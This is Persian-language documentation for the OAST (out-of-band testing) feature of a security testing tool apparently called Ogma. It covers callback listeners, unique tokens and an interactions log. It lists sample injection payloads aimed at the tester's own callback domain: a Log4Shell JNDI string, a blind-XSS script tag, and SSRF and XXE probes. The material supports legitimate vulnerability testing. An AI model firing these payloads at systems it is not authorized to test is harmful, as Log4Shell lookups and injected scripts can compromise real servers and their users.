OAST
OAST (آزمون امنیت برنامه خارج از باند) آسیبپذیریهایی را تشخیص میدهد که پاسخ قابلمشاهدهای تولید نمیکنند؛ در عوض، هدف به یک دریافتکنندهٔ اتصال تحت کنترل شما اتصال خروجی برقرار میکند و مشکل را تأیید میکند.
نحوهٔ کار
Ogma دریافتکنندههای اتصال محلی را برای چندین پروتکل اجرا میکند. وقتی برنامهٔ هدف با یکی از این دریافتکنندهها تماس بگیرد، تعامل همراه با IP مبدأ، مهر زمانی، دادههای دریافتی و توکن تزریقشده ثبت میشود.
پروتکلهای دریافتکنندهٔ اتصال
| پروتکل | پورت پیشفرض | کاربرد |
|---|---|---|
| HTTP | قابلپیکربندی | SSRF، XSS کور و وبهوکها |
| HTTPS | قابلپیکربندی | SSRF از طریق TLS |
| DNS | قابلپیکربندی | تزریق کور، XXE و log4shell |
| SMTP | قابلپیکربندی | تزریق سرآیند ایمیل، SSRF به سرویسهای ایمیل |
پورتهای دریافتکنندهٔ اتصال و نام دامنهٔ مورد استفاده در توکنهای تولیدشده را در پنل تنظیمات OAST پیکربندی کنید.
تولید توکن تماس برگشتی
- ابزارهای کمکی > OAST را باز کنید.
- روی + جدید و سپس ایجاد کلیک کنید. هر توکن برای هر آزمون یکتا است.
- توکن را کپی کنید. این توکن شامل دامنهٔ دریافتکنندهٔ اتصال و یک شناسهٔ یکتا است تا بتوان تعاملها را به آزمون مشخص مربوط کرد.
نمونهٔ قالب توکن: [unique-id].[your-oast-domain]
استفاده از توکنها در پیلودها
توکن تماس برگشتی را در هر فیلدی که ممکن است باعث اتصال خروجی برنامه شود تزریق کنید:
- SSRF: توکن HTTP/HTTPS را بهعنوان URL هدف به کار ببرید:
https://[token]/ - XXE: به توکن در DOCTYPE یا URL یک موجودیت خارجی ارجاع دهید.
- Log4Shell: آن را در یک سرآیند قرار دهید:
${jndi:ldap://[token]/a} - XSS کور: آن را بهعنوان src اسکریپت تزریق کنید:
<script src="https://[token]/x.js"></script> - تزریق SMTP: آن را بهعنوان نشانی مقصد یا URL در سرآیندهای ایمیل به کار ببرید.
گزارش تعاملها
پنل تعاملها هر تماس برگشتی دریافتشده را نشان میدهد:
| ستون | توضیح |
|---|---|
| زمان | زمان دریافت تعامل |
| پروتکل | HTTP، HTTPS، DNS یا SMTP |
| IP مبدأ | نشانی IP برقرارکنندهٔ اتصال |
| توکن | توکنی که با آن تماس گرفته شده است |
| دادهها | مسیر درخواست، نام پرسوجوی DNS یا دادههای SMTP |
روی هر ردیف کلیک کنید تا جزئیات کامل تعامل، از جمله سرآیندها و بدنهٔ درخواست در صورت وجود، را ببینید.
تطبیق تعاملها با آزمونها
چون هر توکن یکتا است، میتوانید توکنهای متفاوتی را در پارامترها یا درخواستهای مختلف تزریق کنید و دقیقاً مشخص کنید کدام نقطهٔ تزریق باعث تماس برگشتی شده است.